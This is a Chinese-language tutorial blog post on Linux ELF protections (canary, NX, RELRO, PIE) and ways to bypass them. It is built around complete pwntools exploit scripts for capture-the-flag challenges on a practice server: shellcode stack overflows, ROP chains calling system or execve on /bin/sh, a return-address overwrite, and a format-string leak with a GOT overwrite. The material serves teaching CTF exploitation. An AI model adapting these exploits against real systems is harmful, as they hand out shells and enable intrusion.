ELF文件保护机制解读及绕过
查看ELF文件保护机制,通过工具checksec(https://github.com/slimm609/checksec.sh)
1root@ubuntu:~checksec echo2 2[*] '/root/echo2' 3 Arch: amd64-64-little 4 RELRO: Partial RELRO 5 Stack: No canary found 6 NX: NX enabled 7 PIE: PIE enabled
函数调用惯例示意图:
1esp -> |deadbeef| 2 |........| <- 可控 3ebp -> |deadffff| 4ret -> |&main237| 5p3 -> |00000001| 6p2 -> |00000001| 7p1 -> |bffff608| 8p0 -> |00000002|
通过输入超长内容,找出buff长度,通过溢出覆盖ret内容到现在的esp地址,构造payload:
1payload1 = shellcode + (len_buf-len(shellcode)) * "A" + p32(ret_address) 2payload2 = len_buf * "A" + p32(jump_esp) + shellcode
比如scoreboard上的toooomuch:
1#!/usr/bin/python env 2 3from pwn import * 4 5pro_process = remote('hackme.inndy.tw',7702) 6 7shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" 8shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" 9shellcode += "\x0b\xcd\x80" 10 11integrate_shellcode = 'A' * 28 + p32(0xb7e1caa9) + shellcode 12 13pro_process.sendafter('Give me your passcode: ',integrate_shellcode) 14pro_process.interactive()
调用可以写入的函数,写入
/bin/sh
到.bss,通过ROPgadget(https://github.com/JonathanSalwan/ROPgadget)查找pop ret
,构造payload,toooomuch的另一种解法:
1#!/usr/bin/python env 2from pwn import * 3 4elf_file = ELF('./toooomuch') 5bin_sh_code = '/bin/sh\0' 6 7exec_system = elf_file.plt['system'] 8print "function system plt address is: %x" % exec_system 9gets_addr = elf_file.symbols['gets'] 10print "funcion gets symbols address is %x:" % gets_addr 11bss_addr = elf_file.bss() 12print "bss segement address is %x:" % bss_addr 13 14length_pattern = 28 15pro_process = remote('hackme.inndy.tw', 7702) 16 17popret_addr = 0x8048455 18integrate_shellcode = 'K' * length_pattern + p32(gets_addr) + p32(popret_addr) + p32(bss_addr) + p32(exec_system) + p32(bss_addr) + p32(bss_addr) 19pro_process.sendafter('Give me your passcode: ',integrate_shellcode) 20pro_process.sendline(bin_sh_code) 21pro_process.interactive()
等
NX: NX enabled 栈不可执行时,则不可直接将shellcode写入栈 可通过上述的toooomuch例子,将
/bin/sh
写入.bss,然后调用system函数
首先,file命令查看文件属性:
1rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped
非动态链接程序文件可直接通过
ROPgadget
生成ropchain
,并溢出到栈上,比如scoreboard上面的rop题
1#!/usr/bin/env python2 2# execve generated by ROPgadget 3from pwn import * 4from struct import pack 5# Padding goes here 6 7p = 'A' * 16 8p += pack('<I', 0x0806ecda) # pop edx ; ret 9p += pack('<I', 0x080ea060) # @ .data 10p += pack('<I', 0x080b8016) # pop eax ; ret 11p += '/bin' 12p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret 13p += pack('<I', 0x0806ecda) # pop edx ; ret 14p += pack('<I', 0x080ea064) # @ .data + 4 15p += pack('<I', 0x080b8016) # pop eax ; ret 16p += '//sh' 17p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret 18p += pack('<I', 0x0806ecda) # pop edx ; ret 19p += pack('<I', 0x080ea068) # @ .data + 8 20p += pack('<I', 0x080492d3) # xor eax, eax ; ret 21p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret 22p += pack('<I', 0x080481c9) # pop ebx ; ret 23p += pack('<I', 0x080ea060) # @ .data 24p += pack('<I', 0x080de769) # pop ecx ; ret 25p += pack('<I', 0x080ea068) # @ .data + 8 26p += pack('<I', 0x0806ecda) # pop edx ; ret 27p += pack('<I', 0x080ea068) # @ .data + 8 28p += pack('<I', 0x080492d3) # xor eax, eax ; ret 29p += pack('<I', 0x0807a66f) # inc eax ; ret 30p += pack('<I', 0x0807a66f) # inc eax ; ret 31p += pack('<I', 0x0807a66f) # inc eax ; ret 32p += pack('<I', 0x0807a66f) # inc eax ; ret 33p += pack('<I', 0x0807a66f) # inc eax ; ret 34p += pack('<I', 0x0807a66f) # inc eax ; ret 35p += pack('<I', 0x0807a66f) # inc eax ; ret 36p += pack('<I', 0x0807a66f) # inc eax ; ret 37p += pack('<I', 0x0807a66f) # inc eax ; ret 38p += pack('<I', 0x0807a66f) # inc eax ; ret 39p += pack('<I', 0x0807a66f) # inc eax ; ret 40p += pack('<I', 0x0806c943) # int 0x80 41 42pro_process = remote('hackme.inndy.tw',7704) 43pro_process.send(p) 44pro_process.interactive()
金丝雀是指,在函数返回之前,会检查栈上特定位置的内容,如果和放入时的不同,则说明栈的数据被异常修改,在有金丝雀的情况下,不可直接溢出,需要通过数组或格式化字符串等指定位置修改,通过修改返回地址、GOT表等内容达到溢出
通过数组溢出,修改指定位置,如scoreboard中的homework:
1#!/usr/bin/python env 2 3from pwn import * 4import time 5 6pro_process = process('./homework') 7print pro_process.recvline(keepends=True) 8pro_process.sendafter('What\'s your name? ', '1') 9#print 'Input name success' 10print pro_process.recvline(4) 11pro_process.send('1') 12print 'Choose edit success' 13time.sleep(5) 14pro_process.send('14') 15print 'Choose edit number success' 16time.sleep(5) 17pro_process.send('134514171') 18print 'Rewrite return address success' 19pro_process.readline() 20pro_process.send('0') 21print 'exit success\\n waiting for interactive...' 22pro_process.interactive()
但是金丝雀防护的开销较大,每个函数都要增加五条汇编指令
可通过格式化字符串漏洞,泄漏栈上的内容,如__libc_start_main_ret地址,通过libc-database确定libc版本,查找libc中的Magic地址,修改某个后续会调用的函数的GOT表,getshell
比如scoreboard中的echo2
1#!/usr/bin/python env 2from pwn import * 3from libnum import * 4from sys import * 5elf_file = ELF('./echo2') 6pro_process = process('./echo2') if argv[1]=="1" else remote('hackme.inndy.tw', 7712) 7static_exit_got = elf_file.got['exit'] 8static_system_got = elf_file.got['system'] 9# Leak 10def standLeak(): 11 payload = "%47$p\n" 12 pro_process.send(payload) 13 main_start = pro_process.recvline() 14 base_oppo = eval(main_start) & 0xfffffffff000 15 print "base_oppo => " + hex(base_oppo) 16 return base_oppo 17 18# choose: 0 => local,libc2.7 1 => remote libc2.3 19def libcLeak(choose): 20 oppo_addr = 0x21b97 if choose=="1" else 0x20830 21 payload = "%43$p\n" 22 pro_process.send(payload) 23 start_ret = pro_process.recvline() 24 libc_oppo = eval(start_ret) - oppo_addr 25 print "libc_oppo => " + hex(libc_oppo) 26 return libc_oppo 27 28#write content 29def writeAddr(content,addr): 30 if content: 31 temp_content = content & 0xffff 32 payload = "%" + str(temp_content).zfill(5) + "x%8$hnAAAA" + p64(addr) + "\n" 33 print "Write paylaod is: " + payload[1:-1] 34 wating = raw_input("wait to continue...") 35 pro_process.send(payload) 36 pro_process.recv() 37 #pro_process.send('\n') 38 #pro_process.recv() 39 #wating = raw_input("wait to continue...") 40 print "Write " + hex(temp_content) + " => " + hex(addr) 41 content = content >> 16 42 addr = addr + 2 43 writeAddr(content, addr) 44 else: 45 print "Nothing to write anymore." 46 47 48 49libc23_magic = 0xf0897 50libc27_magic = 0x4f322 51libc_magic = libc27_magic if argv[1]=="1" else libc23_magic 52print "libc_magic => " + hex(libc_magic) 53Base_oppo = standLeak() 54Libc_oppo = libcLeak(argv[1]) 55Real_magic = Libc_oppo + libc_magic 56Writeaddr = Base_oppo + static_system_got 57print "Real_magic => " + hex(Real_magic) 58print "Writeaddr => " + hex(Writeaddr) 59writeAddr(Real_magic, Writeaddr) 60Wating = raw_input("Wait to check...") 61pro_process.send('exit\n') 62#pro_process.recv() 63pro_process.interactive()
格式化字符串漏洞,是由于printf函数的参数数目并不固定,在直接使用printf(input)时,如果input为%x,则会按照函数的调用惯例获取参数;通过%s参数,结合栈上其他可控的位置,可对任意位置内容进行读取;通过%n,将前面输出内容的长度写入对应地址,可对任意地址内容进行改写。
本文分享自微信公众号 - 湛卢工作室(xuehao_studio),作者:周超
原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。
原始发表时间:2018-11-22
本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。
我来说两句